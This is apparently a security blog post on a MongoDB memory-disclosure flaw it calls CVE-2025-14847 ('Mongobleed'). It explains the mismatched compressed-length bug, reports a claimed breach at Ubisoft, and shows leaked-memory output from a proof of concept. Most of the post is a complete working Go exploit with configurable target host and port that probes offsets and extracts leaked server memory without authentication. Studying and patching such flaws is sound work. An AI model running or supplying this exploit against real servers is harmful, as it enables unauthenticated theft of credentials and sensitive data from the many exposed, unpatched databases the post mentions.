Mongobleed - CVE-2025-14847
The Vulnerability
As an early Christmas present a new vulnerability has been found in MongoDB. The vuln takes advantage of mismatched length fields in Zlib. Simply the server trusts the uncompressedSize claim sent by the client and instead of sending just the uncompressed data buffer back it sends the entire allocated buffer. This is very similiar to the infamous Heartbleed vulnerability in SSL that came out in 2014.
At a detailed level, CVE-2025-14847 is caused by improper handling of compressed OP_MSG messages in MongoDB. By crafting a malformed BSON document with an inflated document length and wrapping it in an OP_COMPRESSED message, the server may read beyond the bounds of the decompressed buffer.
This can cause MongoDB to interpret leftover memory as BSON field names, which are then reflected back in error messages. Repeating this process across varying offsets can leak fragments of server memory.
Exploitation in the Wild
As a result of this exploit Rainbow Six Siege a popular FPS has been hacked supposedly using this exploit to either gain initial access or pivot further internally at Ubisoft. Players logged in to find massive amounts of ingame currency had been added to their accounts, a constant spam of the ban ticker reporting endless players being banned.
As of 27/12/2025 Ubisoft has issued a statement announcing a database rollback to resolve the added currency and a rollback to bans for players who were incorrectly banned.
Proof of Concept
Kindly, Joe Desimone has created a PoC alongside a docker compose to spin up a vulnerable instance.
Running the docker container and the exploit, below we can see the leaked data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-8192
[+] offset= 380 len= 18: s currently active
[+] offset=1786 len= 86: \u0012�;LyOl�N\r$c{\u0007TX\tp1�����e\rh\t\u001dq�UA}m%s\u000f\u0001\r1\u0012\u0
[+] offset=2293 len= 105: $\u001e1�NuO4+�\u001dQ=2\r1$�u\u0017\u0019q\u0012b\u0015�K�\u0001\u000f�\r1\u001
[+] offset=3093 len= 26: s skipped during tree walk
[+] offset=5644 len=4426: s 1726976\nnr_zone_inactive_anon 404024\nnr_zone_active_anon 1660114\nnr_zone_in
[+] offset=6223 len= 15: �\u0002\u0006�U
[+] offset=6660 len= 38: requested with cache fill ratio < 25%
[*] Total leaked: 4750 bytes
[*] Unique fragments: 23
[*] Saved to: leaked.bin
Just like Heartbleed, the data returned is dependant on what is in memory when you run the PoC however with some persistance and good timing you can very easily discover secrets, credentials or sensitive logs completely unauthenticated.
With over 112k MongoDb instances exposed on Shodan and the holiday season upon us its likely a lot of instances will go unpatched until engineers return in the new year.
Proof of Concept in Go
To further understand the exploit, I’ve taken Joe’s exploit and rewritten it in Go.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
package main
import (
"bytes"
"compress/zlib"
"encoding/binary"
"flag"
"fmt"
"io"
"math/rand"
"net"
"time"
)
var target string
var port string
var min_offset int
var max_offset int
func main() {
flag.StringVar(&target, "host", "localhost", "Target host")
flag.StringVar(&port, "port", "27017", "Target port")
flag.IntVar(&min_offset, "min-offset", 20, "Minimum offset")
flag.IntVar(&max_offset, "max-offset", 8192, "Maximum offset")
flag.Parse()
fmt.Println("[*] MongoBleed - CVE-2025-14847")
fmt.Printf("[*] Targetting %v:%v\n", target, port)
fmt.Println("[*] Offset: ", min_offset, "->", max_offset)
fmt.Println("[*] Scanning...")
for cur_offset := min_offset; cur_offset < max_offset; cur_offset++ {
response := send_probe(cur_offset)
if response != nil {
parse_response(response, cur_offset)
}
}
}
func send_probe(offset int) []byte {
buf := new(bytes.Buffer)
binary.Write(buf, binary.LittleEndian, int32(offset))
buf.Write([]byte{0x10, 'a', 0x00, 0x01, 0x00, 0x00, 0x00})
// OP_MSG
opMsg := new(bytes.Buffer)
binary.Write(opMsg, binary.LittleEndian, uint32(0))
opMsg.WriteByte(0x00)
opMsg.Write(buf.Bytes())
// zlib compress
var compressed bytes.Buffer
zw := zlib.NewWriter(&compressed)
zw.Write(opMsg.Bytes())
zw.Close()
// OP_COMPRESSED payload
payload := new(bytes.Buffer)
binary.Write(payload, binary.LittleEndian, uint32(2013))
binary.Write(payload, binary.LittleEndian, int32(offset+500))
payload.WriteByte(2)
payload.Write(compressed.Bytes())
// Message header
header := new(bytes.Buffer)
totalLength := uint32(16 + payload.Len())
binary.Write(header, binary.LittleEndian, totalLength)
binary.Write(header, binary.LittleEndian, uint32(rand.Uint32()))
binary.Write(header, binary.LittleEndian, uint32(0))
binary.Write(header, binary.LittleEndian, uint32(2012))
address := net.JoinHostPort(target, port)
connection, err := net.DialTimeout("tcp", address, 2*time.Second)
if err != nil {
fmt.Println(err)
fmt.Println("[!] Unable to connect. Exiting..")
return nil
}
defer connection.Close()
connection.SetDeadline(time.Now().Add(2 * time.Second))
connection.Write(append(header.Bytes(), payload.Bytes()...))
var response []byte
temp := make([]byte, 4096)
for {
readBytes, err := connection.Read(temp)
if readBytes > 0 {
response = append(response, temp[:readBytes]...)
if len(response) >= 4 {
msgLen := binary.LittleEndian.Uint32(response[:4])
if uint32(len(response)) >= msgLen {
break
}
}
}
if err != nil {
break
}
}
return response
}
func parse_response(response []byte, offset int) {
if len(response) < 25 {
return
}
msgLen := binary.LittleEndian.Uint32(response[:4])
opCode := binary.LittleEndian.Uint32(response[12:16])
var raw []byte
// Decompress if compressed
if opCode == 2012 {
if int(msgLen) > len(response) || msgLen < 25 {
return
}
zr, err := zlib.NewReader(bytes.NewReader(response[25:msgLen]))
if err != nil {
return
}
defer zr.Close()
raw, err = io.ReadAll(zr)
if err != nil {
return
}
} else {
if int(msgLen) > len(response) || msgLen < 16 {
return
}
raw = response[16:msgLen]
}
var leaks [][]byte
needle := []byte("field name '")
for i := 0; i+len(needle) < len(raw); i++ {
if bytes.Equal(raw[i:i+len(needle)], needle) {
start := i + len(needle)
end := start
for end < len(raw) && raw[end] != '\'' {
end++
}
if end > start {
val := raw[start:end]
if !bytes.Equal(val, []byte("?")) &&
!bytes.Equal(val, []byte("a")) &&
!bytes.Equal(val, []byte("$db")) &&
!bytes.Equal(val, []byte("ping")) {
leaks = append(leaks, append([]byte{}, val...))
}
}
}
}
typeNeedle := []byte("type ")
for i := 0; i+len(typeNeedle) < len(raw); i++ {
if bytes.Equal(raw[i:i+len(typeNeedle)], typeNeedle) {
j := i + len(typeNeedle)
val := 0
for j < len(raw) && raw[j] >= '0' && raw[j] <= '9' {
val = val*10 + int(raw[j]-'0')
j++
}
leaks = append(leaks, []byte{byte(val & 0xFF)})
}
}
for _, data := range leaks {
if len(data) > 10 {
preview := data
if len(preview) > 80 {
preview = preview[:80]
}
s := string(preview)
fmt.Printf("[+] offset=%4d len=%4d: %s\n", offset, len(data), s)
}
}
}
You can find this also on my Github.


